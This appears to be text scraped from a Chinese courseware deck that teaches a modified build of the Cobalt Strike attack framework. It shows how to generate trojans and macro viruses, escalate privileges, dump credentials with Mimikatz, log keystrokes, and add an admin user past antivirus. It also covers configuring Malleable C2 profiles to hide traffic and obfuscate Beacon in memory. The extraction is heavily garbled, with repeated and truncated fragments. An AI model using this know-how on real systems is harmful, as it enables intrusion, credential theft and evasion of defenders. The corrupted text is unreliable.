課件綜合詳解_第1頁
課件綜合詳解_第2頁
課件綜合詳解_第3頁
課件綜合詳解_第4頁
課件綜合詳解_第5頁
已閱讀5頁,還剩87頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

目前目CobaltStrike Strike基本使 Strike模塊介 Strike腳本使CobaltStrikeMalleableExternalCS默認端口-證書-雜項CSBeacon和監(jiān)聽器目前目CobaltStrike Strike基本使 Strike模塊介 Strike腳本使CobaltStrikeMalleableExternalCS默認端口-證書-雜項CSBeacon和監(jiān)聽器CS會話聯(lián)動(外部監(jiān)聽器使用 Strike腳本編 Strike更新記1前國內(nèi)關于CobaltStrike的教程前國內(nèi)關于CobaltStrike的教程比較少我就隨便寫寫如果有錯誤的地方還請指出我好以下文檔全部以Strike3.13漢化版為例關于3.13漢化修改https://wbglil.github.io/2019/03/03/cobaltstrike-3-反饋:V0JHbFlsQGdtYWlsLmNvMTc1NzgxMjc2目CobaltStrike簡目CobaltStrike簡CobaltStrike基本使用CobaltStrike模塊介紹CobaltStrike腳本使CobaltStrike擴3CobaltStrike簡CobaltStrike是一款內(nèi)網(wǎng)滲透測試神器,常被業(yè)界人稱為CS。CobaltStrike簡CobaltStrike是一款內(nèi)網(wǎng)滲透測試神器,常被業(yè)界人稱為CS。CobaltStrike2.0版本主要是結合Metasploit可以稱為圖形化MSF工具。而CobaltStrike3.0已經(jīng)不再使用Metasploit框架而作為一個獨立的平臺使用,它分為客戶端與服務端,服務端是一個,客戶端可以有多個,可被團隊進行分布式協(xié)團操作??蛻舳四J胶头斩四J娇梢栽赪indows以及Linux上運行這里要注意服務端模式在Windows下運行時有可能會出現(xiàn)一些細小的問題不過影響不大。可以很好的解決metasploit對Windows Strike集成了端口轉發(fā)、服務掃描,自動化溢出,多模式端口監(jiān)聽,widll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執(zhí)行,瀏覽器自動攻擊等 Strike官網(wǎng)4 Strike基本使 Strike基本信 Strike菜單欄介紹Cobalt Strike基本使 Strike基本信 Strike菜單欄介紹Cobalt視圖攻擊報告幫 Strike工具欄介紹 Strike工作區(qū)介紹截 Strike基本功 Strike會話基本操作vnc遠程桌等等cs3.13全部功5 Strike基本使 Strike基本使6CobaltStrike目錄以下目錄結構我以CobaltStrike目錄以下目錄結構我以3.13漢化修改版為例刪除了一些沒用的文件添加了一些腳本啟動服務cobaltstrike.jar既是服務端程序也是客戶端程序,一般情況Linux用teamserver啟動服務端,Windows一般用teamserver.bat啟動服務端Windows和Linux通用這個命令,如果提示沒有證書就按照提示創(chuàng)建證書,權限不7teamserverhost│agscript[拓展應用的腳本│c2lint[檢查c2配置文件的語法和預覽|peclone用來解析│cobaltstrike.exe【W(wǎng)indows客戶端程序(用來啟動cobaltstrike.jar)注:我刪了轉而使用cobaltstrike.bat代替|cobaltstrike.bat【W(wǎng)indows客戶端程序│cobaltstrike.jar【主體程序|cobaltStrikeCN.jar【漢化程序││license.pdf【刪了│readme.txt【刪了│releasenotes.txt【刪了│teamserver【Linux服務端啟動程序(linuxshell腳本)|teamserver.bat【W(wǎng)indows服務端啟動程序(windowsbat批處理)│update【刪了│update.jar【刪了|─third-party第三方工具【vnc遠程功能dll(如果沒有就不能使用當初我就放錯了導致無法使用還好有人提醒我及時更換了) winvnc.x64.dll【vnc服務端dllx64位 winvnc.x86.dll【vnc服務端dllx86位|—Scripts一些腳本文啟動客戶在Linux下和Windows下相同可以使用命令行也可以直接運行啟動客戶在Linux下和Windows下相同可以使用命令行也可以直接運行輸入主機ip,連接端口(默認50050),以及你想使用的用戶名和服務端密碼就可以連首次連接的服務器會顯示服務端的SSL證書的SHA256哈希值請確認它是否和你服務端SSL證書的SHA256哈希值一樣以防止中間人攻8java-Dfile.encoding=UTF-8-javaagent:CobaltStrikeCN.jar-XX:ParallelGCThreads=4-XX:+AggressiveHeap-XX:+UseParallelGC-jarcob菜單Cobalt視圖攻擊報告幫Cobalt新建連接——連接到新的服務端設置——主要是設置cs菜單Cobalt視圖攻擊報告幫Cobalt新建連接——連接到新的服務端設置——主要是設置cs的界面以及保存的連接記錄等等可視化——對應著這三按鈕4.VPN接口——主要是管理VPN的,作為跳板95.監(jiān)聽器——這個很重要是用來監(jiān)聽回連的3.13包括以下這些一共9種1.windows/beacon_dns/rev5.監(jiān)聽器——這個很重要是用來監(jiān)聽回連的3.13包括以下這些一共9種1.windows/beacon_dns/reverse_dns_txtbeacon為cs內(nèi)置監(jiān)聽器,也就是說,當我們在目標系統(tǒng)成功執(zhí)行payload以后,會彈回一個beacon的shell給csforeign主要是提供給外部使用的一些監(jiān)聽器,比如你想利用cs派生一個meterpreter或者armitage的shell回來,來繼續(xù)后面的內(nèi)網(wǎng)滲透,這時就選擇使用腳本管理器——用來管理加載腳本關閉——退出CS視應用信息——信息收集模塊搜集的信息可以在這里查看憑據(jù)信息——獲取到的憑據(jù)信息都可以在這里查看Add添加憑Edit編輯憑Copy復制憑 將憑據(jù)導出到Edit編輯憑Copy復制憑 將憑據(jù)導出到 3.文件下選擇指定文件或Ctrl+A全選,然后點擊Files可以將其保存在指定文件夾。認情況下載的文件是直接保存在cs的downloads目錄下的而且文件名是隨機的非常4.日日志就是日志沒什么好說的5.鍵盤記就是用來查看保存的鍵盤記錄的6.代理信 在MSF 在MSF中執(zhí)行setg7.屏幕截 8.Script腳本控制臺這個會在Cobalt9.目Strike模塊介紹里詳細介紹的這里可以顯示內(nèi)網(wǎng)中的主機包括以攻破和未攻破的也可以通過切換到目標列表視圖 添加目標(如果未顯示一這里可以顯示內(nèi)網(wǎng)中的主機包括以攻破和未攻破的也可以通過切換到目標列表視圖 添加目標(如果未顯示一些目標你可以手動進行添加 右鍵目標登可以使用多種方式遠程連接目標然后執(zhí)行Payload生成會話掃服用于顯示對目標掃描的結果攻1.生成后門,生成各種后門來連接cs這里要說一下生成hta程序時不要使用Executable否則運行會報錯具體什么問題我也沒有研究過反正其他的可以使用如Powershell類型VBA類型HTMLApplication生成惡意的HTA木馬用于顯示對目標掃描的結果攻1.生成后門,生成各種后門來連接cs這里要說一下生成hta程序時不要使用Executable否則運行會報錯具體什么問題我也沒有研究過反正其他的可以使用如Powershell類型VBA類型HTMLApplication生成惡意的HTA木馬文件MSOfficeMacro生成office宏病毒文件PayloadGenerator生成各種語言版本的payloadUSB/CDAutoPlay生成利用自動播放運行的木馬文WindowsDropper捆綁器,能夠對其他文件進行捆WindowsExecutable生成可執(zhí)行exe木Executa 生成無狀態(tài)的可執(zhí)行exe木2.釣魚攻擊,這里主要是輔助和橫向模塊web服務管理對開啟的web服務進行管理克隆網(wǎng)站可以記錄受害者提交的數(shù)據(jù)提供一個文件下載,可以修改Mime信息腳本web傳遞生成腳本通過web傳遞(利用powershell,bitsadmin,regsvr32成會話簽名Applet攻使用java自簽名的程序進行釣魚攻智能攻 自動檢測java版本并進行攻擊,針對Jav1.6.0_45以下以及Jav1.7.0_21以下版本用來獲取一些系統(tǒng)信息,比如系統(tǒng)版本,F(xiàn)lash版本,瀏覽器版本等_21以下版本用來獲取一些系統(tǒng)信息,比如系統(tǒng)版本,F(xiàn)lash版本,瀏覽器版本等3.釣魚郵件,用來郵件釣魚的一般不常用報幫工具改變視圖為Graph(可以顯示各個目標的關系改變視圖為SessionTable(會話列表)改變視圖為TargetTable(目標列表)查看文件下載查看鍵盤記錄生成無狀態(tài)Beacon后門生成腳本通過web傳遞(利用powershell,bitsadmin,regsvr32生成會話在Strike的web服務上托管一個文件(提供一個文件下載管理Cobal幫關Strike上運行的web管理Cobal幫關Strike上運行的web服務工作區(qū)這里主要是顯示各種模塊功能的窗口,右鍵那個叉可獨立顯示或保存這個窗口的截圖(默認在服務器的logsxxxxxscreenshots你使用的用戶名)右鍵工作區(qū)基本功能使創(chuàng)建監(jiān)基本功能使創(chuàng)建監(jiān)聽 Strike—>監(jiān)聽器—>創(chuàng)建后攻擊—>生成后門—>選擇類型這里我還是改用公網(wǎng)v這里我還是改用公網(wǎng)vps當服務器吧更真實一些 代表外網(wǎng)ip(既是連接cs服務端的internal代表內(nèi)網(wǎng)ipuser代表用戶computer代表計算機名note代表備注pid代表此后門的 代表休眠時間這個和sleep有關每當?shù)竭_sleep設置的秒數(shù)時就會重置為0默sleep為會話功能介右鍵會話可以進行各種操作1.進入可以執(zhí)行各種命令這個在CobaltStrike模塊介紹中詳細說明的1.進入可以執(zhí)行各種命令這個在CobaltStrike模塊介紹中詳細說明的轉儲需要管理員權限和MSF的hashdump命令一樣默需要管理員權限和MSF的hashdump命令一樣默認就這3個不過我在漢化修改版里附帶有好幾個提權的腳ms14-058是個老提權漏洞利用方式,可利用于Wi7系統(tǒng)uac-dll是一種ByUAC攻擊,是由本地管理員運行payload從中等權限往最高權限提升的過程,適用于wind7和uac-token-duplication是利用令牌竊取繞過uac從中等權限往最高權限提升,此攻擊使用UAC漏洞,該漏洞允許非提升的進程使用從提升的進程中竊取的令牌來啟動意進程,是另一種BypasUAC這里我選擇ms14-058進行演Exp后點擊開始,當利用成功后會返回一個新的高權限會話這里Exp后點擊開始,當利用成功后會返回一個新的高權限會話這里我不做演示因為我懶得搭域環(huán)境,黃金票據(jù)Ticket):簡單來說,它能黑客在擁有普通域用戶權限和krbtgthash的情況下,獲取域管理員權限。這是域滲詳細請看這里:/sec這里可以查看你所獲取的所有憑據(jù)并且可以把它制作成令牌當然你也可以使用其他系統(tǒng)上的憑據(jù)制作成令牌讓Beacon冒充這個新令牌,這將獲得一個新令牌與之前的令牌在本地無法區(qū)分,當使用Beacon的getuid命令查詢令牌的身份時,將返回當用戶。當使用whoami時也將返回當前用戶。那這東西有什么用呢?只有當訪問Windows遠程網(wǎng)絡資源時才會使用m用戶。當使用whoami時也將返回當前用戶。那這東西有什么用呢?只有當訪問Windows遠程網(wǎng)絡資源時才會使用make_token提供的令牌如Windows共享等等Run運行Mimikatz的logonpasswords命令Spawn選擇瀏覽器進程進行注入,然會開啟HTTP代理,之后在本機瀏覽器使用代理就可以直接登錄受害者登錄的網(wǎng)站了遠程通過注入dll選擇瀏覽器進程進行注入,然會開啟HTTP代理,之后在本機瀏覽器使用代理就可以直接登錄受害者登錄的網(wǎng)站了遠程通過注入dll到目標進程開啟遠程vnc功能可以直接操作或查看目標桌面從左到右依次介紹按鈕功能原始比例查發(fā)送'Ctrl-Alt-發(fā)送winUpload上傳本機文件到目標Upload上傳本機文件到目標機MakeDirectory新建文件ListDrives列出目標盤 Net就是執(zhí)行Windows的netview查看進程列表以及操作進程Kill結束進Refresh刷 注入Payload到一個進程 Keystroke查看進程列表以及操作進程Kill結束進Refresh刷 注入Payload到一個進程 Keystroke 屏幕截 這個按鈕廢了以后解StealToken竊取進程SOCKSSOCKS這里選擇中轉器的監(jiān)這里選擇中轉器的監(jiān)聽器生成木馬。需要注意的是作為中轉器的PC要確認防火墻情況因它會監(jiān)聽一個本地端口并等待連接,如果開啟了防火墻會產(chǎn)生一個Windows安最好提前用cmd添加一個防火墻放行規(guī)則或關閉防火墻,然后將無狀態(tài)的木馬上傳到內(nèi)網(wǎng)的其他機器運行后就會返回一個會話Deploy選擇對應的最好提前用cmd添加一個防火墻放行規(guī)則或關閉防火墻,然后將無狀態(tài)的木馬上傳到內(nèi)網(wǎng)的其他機器運行后就會返回一個會話Deploy選擇對應的內(nèi)網(wǎng)ip然后選擇一個接口如果沒有接口就添加一個在這里有多種方式的隧道,可以根據(jù)自己的需要選擇,默認UDP是開銷最小的一種方式。添加以后,點擊Deploy則可部署成功。可以在VPN接口看到相關信息之后需要在VPS上配置此網(wǎng)接口然后就可以正常訪問內(nèi)網(wǎng)了在這里有多種方式的隧道,可以根據(jù)自己的需要選擇,默認UDP是開銷最小的一種方式。添加以后,點擊Deploy則可部署成功??梢栽赩PN接口看到相關信息之后需要在VPS上配置此網(wǎng)接口然后就可以正常訪問內(nèi)網(wǎng)了注意:此功能在Windows10目標上不起作用。通過派生會話可以和msf或Armitage聯(lián)動等等打開MSF或Armitage做好監(jiān)聽配置之后選擇或添加一個外部Payload然后點Choose之后就會收到會話連備注給目標一個備注Remove刪除目標Sleep設置睡眠時間(秒) 退出(木馬直接結束運行sudoifconfigphearx Strike模塊介這里主要介紹beacon和Scri Strike模塊介這里主要介紹beacon和ScriConsole模塊Beacon控制Beacon是異步有效負載。命令不會立即執(zhí)行。每個命令都進入隊列。當Beacon連接到你時,它將接收這些命令并逐個執(zhí)行,然后Beacon報告返回結果,可以使用clear命令清除當前Beacon的命令隊列默認情況下,Beacon每60秒連接檢查一次,可以使用sleep命令更改此設置sleep以秒為單位指定Beacon檢查的頻率。如sle5(每5秒鐘檢查一次)。還可以指定0到99之間為第二個參數(shù)。此參數(shù)為隨機數(shù)。Beacon會根據(jù)指定的隨機百分比改變每個檢查的時間。如,sleep30020將使Beacon以20%的隨機數(shù)睡眠300秒。這將使Beacon在240到300秒之間隨機檢查一次。如果設置0這將使用交互模式。在交互模式下,命令將立即執(zhí)行。Beaconargue進程參數(shù)欺argue[command][fakeargue命令假參數(shù)欺騙某個命令參數(shù)argueargue命令取消欺騙某個命令參help幫助命令顯示全部命helpxxx顯示某個命令的詳細信 Strike模塊介利用這個也可以繞過360添加用戶比如argue Strike模塊介利用這個也可以繞過360添加用戶比如arguenet1/hello/hello/hello/hellorunnet1useradmin123451runasadmin以高權限運runasadminrunasadmin命令參數(shù)setenv用來設置環(huán)境變setenv[key]reg用來查詢注冊regqueryregqueryv[root\path]root可以使用HKLM,HKCR,HKCC,HKCU,execute-assembly在目標上執(zhí)行本地.NET程execute-assembly[/path/to/file.exe]dllload使用LoadLibrary將DLL加載到指定的進程中。DLL必須在于目標dllload[pid]getprivs在當前令牌上啟用盡可能多的系統(tǒng)權kerberos_ticket_purge清除當前shell的Kerberos票kerberos_ccache_use從ccache文件中導入Kerberos票kerberos_ccache_usekerberos_ticket_use從ticket文件中導入Kerberos票kerberos_ticket_usekill結束進killps查看進程列timestomp將一個文件的時間戳應用的另一個文timestomp[fileA] Strike模塊介bypassuac繞過uac獲取權bypassuacgetuid獲取 Strike模塊介bypassuac繞過uac獲取權bypassuacgetuid獲取用戶rev2self恢復原始令steal_token從進程中竊取令steal_tokengetsystem獲取system權l(xiāng)ink重新連接到SMBBeacon后門并建立對它的控制link[target]link目link[ip]連接到指定的Beaconlinkip地址connect重新連接到TCPBeacon后門并建立對它的控制connect[target]connect目unlink斷開與當前的Beacon連接,等待另一個Beacon的連unlink默認斷開與當前的Beacon連unlink[ip]斷開與指定的Beacon連cd切換目clear清除Beacon任務列download下載文downloadshell執(zhí)行cmd命shell[command]powershell執(zhí)行powershell命powershell[commandlet] Strike模塊介powershell-import導入powershell模powershell-importexecute執(zhí)行程 Strike模塊介powershell-import導入powershell模powershell-importexecute執(zhí)行程execute[program]執(zhí)行程序不返回輸run執(zhí)行程run[program]執(zhí)行程序返回輸inject向一個進程注入監(jiān)聽器shellcodeinject[pid]<x86|x64>[listener]shinject向一個進程注入shinject[pid]<x86|x64>shspawn創(chuàng)建一個進程并將shellcode注入其中shspawn<x86|x64>dllinject利用反射dll注入一個進dllinject[pid]keylogger將鍵盤注入器注入指定進keylogger[pid]<x86|x64>注入指定進程開啟鍵盤記keylogger開啟鍵盤記錄(生成一個臨時進程并將鍵盤記錄注入其中message向用戶顯示消息cs作者說這是一個愚蠢的命令(笑)message[text]stop停止代理port在指定端口開啟代注意:如果Beacon在睡眠時流量是不會被代理的請使用sleep進行改變,減少睡眠時間或更改為交互式sleep0sleep在最前面說了這里不說spawn生成x86或x64進程并將監(jiān)聽器shellcode注入注入其中派生會 Strike模塊介spawn[x86|x64]spawnspawnto在指定的 Strike模塊介spawn[x86|x64]spawnspawnto在指定的程序中執(zhí)行Beacon的命spawnto[x86|x64]upload上傳文件到目uploadrunas以其他用戶身份執(zhí)行程runas[DOMAIN\user][password][command]如果未指定DOMAIN,Beacon將嘗試以本地用戶身份進行身份驗證。pwd查看在目標機上的路covertvpn前面介紹covertvpn[interface][ipbrowserpivot瀏覽器代理前面介紹browserpivot[pid]browserpivotdesktop遠程桌面desktop[pid][x86|x64][high|low]desktop[high|low]將vnc注入到指定進程可以選擇畫面質量是高質量還是低質jobs列出在后臺運行的各種后滲透任jobkill結束后滲透任jobkill[jobhashdump轉儲密碼哈wdigest使用mimikatz轉儲明文憑mimikatz執(zhí)行mimikatz命mimikatz[module::command]mimikatz[!module::command] Strike模塊介mimikatz[@module::command]和普通使用mimikatz沒什么區(qū)screenshot Strike模塊介mimikatz[@module::command]和普通使用mimikatz沒什么區(qū)screenshot屏幕截screenshot[pid]<x86|x64>[runscreenshot默認截圖屏inmake_token制作令make_token[DOMAIN\user]前面同樣介紹downloads查看正在進行的下載任cancel取消正在進行的下cancelrportfwd端口轉rportfwd[bindport][forwardhost]rportfwdstop[bindport]停止指定端口轉port]開啟指定端口轉elevate使用elevate[exploit]mkdir創(chuàng)建目mkdirls查看文rm刪除文drives列出盤psexec_psh利用psexec和powershell生成會psexec_psh[host]wmi利用WMI和PowerShell生成會wmi[host]winrm利用WinRM和PowerShell生成會winrm[host] Strike模塊介psexec利用psexec生成會psexec[host] Strike模塊介psexec利用psexec生成會psexec[host][share][share]指定要將文件復制到哪個共享(例如,ADMIN$或spawnas以其他用戶權限生成會spawnas[DOMAIN\user][password]portscan端口掃portscan[targets][ports][arp|icmp|none]portscan目標端口方式最大連接目標可以指定一個范圍端口以逗號分logonpasswords使用mimikatz轉儲明文憑據(jù)和NTLM哈note備dcsync就是mimikatz的dcsync功dcsync[DOMAIN.fqdn]powerpick使用UnmanagedPowerShell執(zhí)行命令powerpick[commandlet][args]psinject將非托管PowerShell注入特定進程并執(zhí)行指定的命psinject[pid][x86|x64][commandlet] Strike模塊介Script Strike模塊介Script?執(zhí)行sleep判斷語句并輸出結e執(zhí)行sleep說明語help幫load加載一個腳ls列出加載的所有腳本proff關閉腳本分析器pron為開啟腳本分析器profile腳本性能統(tǒng)計reload重新加載腳本troff關閉腳本跟蹤功能tron開啟腳本跟蹤功能unload卸載腳本x執(zhí)行sleep表達式并輸出結sshssh遠程連ssh[ip:port][user]ssh-key使用密鑰遠ssh[ip:port][user]cp復制文mv移動文ppid指定一個pid作為執(zhí)行Beacon命令的父進程,runas命令不受這個影響ppidppid單獨輸入ppid重置為默spawnu在指定的pid中生成powershell子進程執(zhí)行palyoadspawnu[pid][listener]runu指定一個pid為父進程在其中執(zhí)行一條命runu[pid][command] Strike模塊介 Strike模塊介 Strike腳本使在Strike中有一個非常實用的功能,就是可以加載各 Strike腳本使在Strike中有一個非常實用的功能,就是可以加載各種腳本Load加載腳Unload卸載腳 說一些常用常見的腳本腳本名稱:ProcessT腳本功能:讓ps命令可以顯示父子關系并顯示顏 Strike腳本使腳本名稱:CVE-2018-腳 Strike腳本使腳本名稱:CVE-2018-腳本功能:CVE-2018-4878.c腳本功能:創(chuàng)建多種類型的payload。生成的文件在cs目錄下的opt\c腳本功能:利用CertUtil和rundll32生成會話這個應該都知道了 Strike腳本使腳本名稱: Strike腳本使腳本名稱:RedTeamRa腳本功能:顯示帶有顏色的進程列表(不同顏色有不同含義 Strike腳本使腳本功能 Strike腳本使腳本功能:顯示Beacon命令日志腳本名稱:ProcessM腳本名稱 Strike腳本使腳本功能:生成基于SM Strike腳本使腳本功能:生成基于SMB的payl腳本名稱腳本功能:持久化控制集合備注:這個腳本是同目錄腳本的一個集合腳本名稱:Eternalblue.c腳本功能:ms17-010備注:調(diào)用exploit/windows/smb/ms17_010_eternalbl更多:https://mp.weixin.qq.com/s/CEI1XYkq2PZmYsP0DRU7jg個人認位這位老哥整理的已經(jīng)很全面了,為了方便查看我將里面的一些集合腳本介 Strike腳本使 Strike腳本使 Strike腳本使https://github.com/vysec/Agg Strike腳本使https://github.com/vysec/Aggressor-https://github.com/killswitch-GUI/CobaltStrike-T Strike腳本使https://github.com/rasta- Strike腳本使https://github.com/rasta-mouse/Aggressor-Scrihttps://github.com/Und3rf10w/Aggressor- Strike腳本使https://github.com/gaudard/scripts/tree/master/red Strike腳本使https://github.com/gaudard/scripts/tree/master/red-/threatexpress/aggressor-scripts/threatexpress/persistence-aggressor- Strike腳本使腳本來源/secgroundzero/CS- Strike腳本使腳本來源/secgroundzero/CS-Aggressor-Scri Strike腳本使用 Strike腳本使用之前請自行檢查腳本安全,需要注意:cs2.x的腳本和3.x的腳本互相不兼容日后如果有新的我也會繼續(xù)更新的CobaltStrike擴Malleable有關CS的Malleable-C2-Profiles配置,介紹,編寫CobaltStrike擴Malleable有關CS的Malleable-C2-Profiles配置,介紹,編寫等External有關CS的外部C2通信CS詳細講一下各種Beacon和監(jiān)聽器Malleable簡 StrikeMalleable-C2-Profiles配置文件是用來偽裝流量,讓通訊更加隱蔽Malleable簡 StrikeMalleable-C2-Profiles配置文件是用來偽裝流量,讓通訊更加隱蔽Beacon中使用http通信的payload由Malleable-C2-profile文件控制,關于Malleable-C2-profile,它是一個簡單的配置文件,用來指定如何轉換數(shù)據(jù)并將其存儲在transaction中,轉換和存儲數(shù)據(jù)的相同配置文件也從transaction中提取和恢復。在啟動服務器時我們可以指定一個配置文件,每個CS只能載入一個配置文件,多個文加載Malleable-C2-Profiles命令檢查預覽Profiles文件is的c其實之前如果有人用過那個ids服務端啟動程序會發(fā)現(xiàn)有輸出一些亂碼這是因為那些亂碼是lix下用來設置顏色的在這里檢查Prils文件的shll腳本我同樣放有一個Windows版的但是如果你是使用cm運行,效果一定不好因為顏色代碼會變成類似這種的東西,所以我提供了幾個方法使用linux不用Windows運行服務端(這不是廢話嗎使用GitBash運行c2lint這個Linuxshell腳本(不推薦因為GitBash顏值你也知使用Terminus終端運行c2lint.bat(推薦因為漂亮)5.使用其他終cmder運行./c2lint./teamserver[externalIP][password]Terminus運行東西我不多說這里直接放Terminus運行東西我不多說這里直接放M和使用MC2腳本通信的數(shù)據(jù)包git庫。我就不演示用Wrueshark查看CS默認http通信/rsmudge/Malleable-C2-MalleableC2語法解Malleable這個部分吧我也不知道如何寫是好,我的語文水平并不優(yōu)秀沒有辦法把我知道和理解的完美寫出來還請多多包涵,有錯誤的也請及時提出。接下來說說profile文件的語Malleable這個部分吧我也不知道如何寫是好,我的語文水平并不優(yōu)秀沒有辦法把我知道和理解的完美寫出來還請多多包涵,有錯誤的也請及時提出。接下來說說profile文件的語法格式這里我以CS3.13默認profile文件file為#defaultsleeptimeis60ssetsleeptime"60000";#jitterfactor0-99%[randomizecallbacktimes]setjitter #maximumnumberofbytestosendinaDNSArecordrequestsetmaxdns #indicatethatthisisthedefaultBeaconprofilesetsample_name"CobaltStrikeBeacon(Default)";#defineindicatorsforanHTTPGEThttp-get{#Beaconwillrandomlychoosefromthispoolofseturi"/ca/dpixel/utm.gif/pixel.gif/g.pixel/updates.rss/fwlink/cm/cx/pixel/match/visit.js/load/push/ptj/j.ad/ga.js/en_US/all.js/activity/IE9CompatViewList.xclient#base64encodesessionmetadataandstoreitintheCookieheader.metadataheader}}server#servershouldsendoutputwithnochangesheader"Content-Type""application/octet-stream";output}}}}}}#defineindicatorsforanHTTPPOSThttp-post{#Sameasabove,BeaconwillrandomlychoosefromthispoolofURIs[ifmultipleURIsareprovided]seturiclientheader"Content-Type""application/octet-#transmitoursessionidentifierasidparameter}#postouroutputwithnorealchangesoutput{}}#Theserver'sresponsetoourHTTPPOSTserver{header"Content-Type"#thiswilljustprintanemptystring,meh...output{}}}MalleableMalleable數(shù)據(jù)轉換總是以終止語句結束(決定數(shù)把數(shù)據(jù)存放在http協(xié)議的什么地方AppendRemovelastLEN("string")Base64Base64URL-safeBase64URL-safeBase64XORmaskw/randomXORmaskw/samerandomNetBIOSEncodeNetBIOSDecodeNetBIOSEncodeNetBIOSDecodePrependRemovefirstLEN("string")#用來注set用來設置一些參數(shù)的默認;為結上述文件中setsleeptime"60000";為設置心跳包時間(就是sleep默認時間60)setuseragent"xxx"設置user-agent等等還有許多這里不都說了對雙引號轉義其他特殊字符不需要轉配置文件使用{}將語句和信息組合在一起。語句總是以分號結Malleableheader頭終止語句將編碼后的數(shù)據(jù)存儲在HTTP頭中。參數(shù)終止語句將編碼后的據(jù)存儲在HTTP參數(shù)中。此參數(shù)Malleableheader頭終止語句將編碼后的數(shù)據(jù)存儲在HTTP頭中。參數(shù)終止語句將編碼后的據(jù)存儲在HTTP參數(shù)中。此參數(shù)始終作為URI的一部分發(fā)送。print語句在http正文print語句是http-get.server.output,http-post.server.output和stager.server.output塊的終止語句,其他塊可以使用header,parameter,printuri-appen termination語句。如果在http-post.client.output上使用header、parameteruri-語句,beac可以在字符串中使用的特殊字符可以用set設置的選項其中范圍代表可以那里設置為空則在任何地方都可以設置。如uri就只能在http-get和http-post中的花括號里設置范說(值含回tab表示一個unicode字符表示一個字節(jié)如(\x \header將數(shù)據(jù)存儲在HTTP頭中parameter將數(shù)據(jù)存儲在URI參數(shù)中將數(shù)據(jù)存儲在http主體中uri-附加到AMSIIPaddrusedtonotaskDNSBMaskfoDNSCTXTrefortask0ForceapriortoDNSTusedbyTXTre1TTLforAMSIIPaddrusedtonotaskDNSBMaskfoDNSCTXTrefortask0ForceapriortoDNSTusedbyTXTre1TTLforHostpaforstagorDNS0factorMalleablewhendata(0-Nameotousef##isrewithanteamsNametouseThenathispro(usedinMytimeopenaopenaTCPlisten[requiredMalleablewhendata(0-Nameotousef##isrewithanteamsNametouseThenathispro(usedinMytimeopenaopenaTCPlisten[requiredHTTPCS中各種http請求的設Beacon是一個分階段的有效載荷。這意味著有效負載由stager下載并注入內(nèi)存在目標內(nèi)存中有Beacon有效載荷HTTPCS中各種http請求的設Beacon是一個分階段的有效載荷。這意味著有效負載由stager下載并注入內(nèi)存在目標內(nèi)存中有Beacon有效載荷之前HTTP-GET和HTTP-POSTBeacon都不生效。這里插句話這個和MSF的stager一樣你把MSF的stager搞懂了自然就明白http-Sessionhttp-Beacon'shttp-Sessionhttp-Beacon'shttp-http-Encodedpayload在http-x86paystage在http-x64paystageInternetAgentfHTTPusefor里面的參數(shù)上面都有自己看吧就解釋一下client代表木馬發(fā)出的請求里面的參數(shù)上面都有自己看吧就解釋一下client代表木馬發(fā)出的請求參數(shù)server代表http-config塊對Strike提供的所有HTTP響應都有影響在這里你可以自己設置PEandMemory C2配置文件中的stage塊控制Beacon如何加載到內(nèi)存中并且可以編 DLL的內(nèi)http-configsetheaders"Date,Server,Content-Length,Keep-Alive,Connection,Content-Type";header"Server"header"Keep-Alive""timeout=5,max=100";header"Connection""Keep-Alive";}http-stagerseturi_x86"/get32.gif";seturi_x64"/get64.gif";client{parameter"id""1234";header"Cookie""SomeValue";}serverheader"Content-Type""image/gif";output{prepend"GIF89a";}}}stage塊接受字符串添加到BeacDLL的.rdata部分的命stage塊接受字符串添加到BeacDLL的.rdata部分的命 命令添加 命令添加了一個寬(UTF-16LE 編碼)Transform-x86和Transform-X64阻止PAD和Transform Beacon的反射DLL階段。這些塊支持三個命令:prepend、append和strrep.prepend命令在beacon的反射dll之前插入一個字符串a(chǎn)ppend命令在beacon的反射dll后面添加一個字符串,確保預先準備好的數(shù)據(jù)(x86、x64)架構的有效代碼,c2lint程序沒有對此進行檢查strrep命令替換beacon反射dll中的字符串stage塊接受以下命令控制BeacDLL內(nèi)容的選stagesetuserwxsetcompile_time"14Jul2009setimage_size_x86setimage_size_x64"512000";setobfuscate"true";transform-x86prependstrrep"ReflectiveLoader"}transform-x64#transformthex64rDLL}stringw"Iamnot}CloningPE0TheCheckSumvalueinBeacon'sPEAskBeacontoattempttofreememoryassociatedwiththeReflectiveDLLpackagethatinitializedit.14JulyThebuildtimeinBeacon'sPECloningPE0TheCheckSumvalueinBeacon'sPEAskBeacontoattempttofreememoryassociatedwiththeReflectiveDLLpackagethatinitializedit.14JulyThebuildtimeinBeacon'sPETheEntryPointvalueinBeacon'sPESizeOfImagevalueinx64Beacon'sPESizeOfImagevalueinx86Beacon'sPESameasmodule_x86;affectsx64Askthex86ReflectiveLoadertoloadthespecifiedlibraryandoverwriteitsspaceinsteadofallocatingmemorywithTheExportednameoftheBeaconObfuscatetheReflectiveDLL'simporttable,overwriteunusedheadercontent,andaskReflectiveLoadertocopyBeacontonewmemorywithoutitsDLLMeta-informationinsertedbytheObfuscateBeacon,in-memory,priortoAskReflectiveLoadertostompMZ,PE,ande_lfanewvaluesafteritloadsBeaconpayloadAskReflectiveLoadertouseoravoidRWXpermissionsforBeaconDLLinMalleableCobaltStrike的Linux軟件包中有一個工具peclone,用于從MalleableCobaltStrike的Linux軟件包中有一個工具peclone,用于從dll中提取頭文件并將其顯示為一個隨時可用的階段塊(我同樣改有一個Windows版的方便Windows用戶)。這個同樣會在擴展里講這里不說./peclone使用stageblock的prepend命令來阻止分析,該分析掃描內(nèi)存段的前幾個字節(jié)以查找注入DLL的符號。如果使用特定于工具的字符串來檢測代理,請使用strrep命令更改它們。如果strrep不夠,請將sleep_mask設置為true。這導致Beacon在進入睡眠狀態(tài)之前在內(nèi)存中進行模糊處理。在休眠之后,Beacon會對自己進行去模糊處理以請求和處理任務。SMB和Beacon將在等待新連接或等待父會話中的數(shù)據(jù)時進行模糊處理。決定您希望在內(nèi)存中看起來像一個DLL特征。那么您希望方便檢測,請stomppe設置為false。如果您想在內(nèi)存中輕微混淆DLL,請將stomppe設置為true。如果您想要應對挑戰(zhàn),請將obfuscate設置為true。此選項將采取許多步驟來混淆Beacon階段和內(nèi)存中DLL的最終狀態(tài)將userwx設置為false以詢問Beacon的加載器以避免以RWX權限執(zhí)行。具有這些權限的內(nèi)存段將引起安全分析師和安全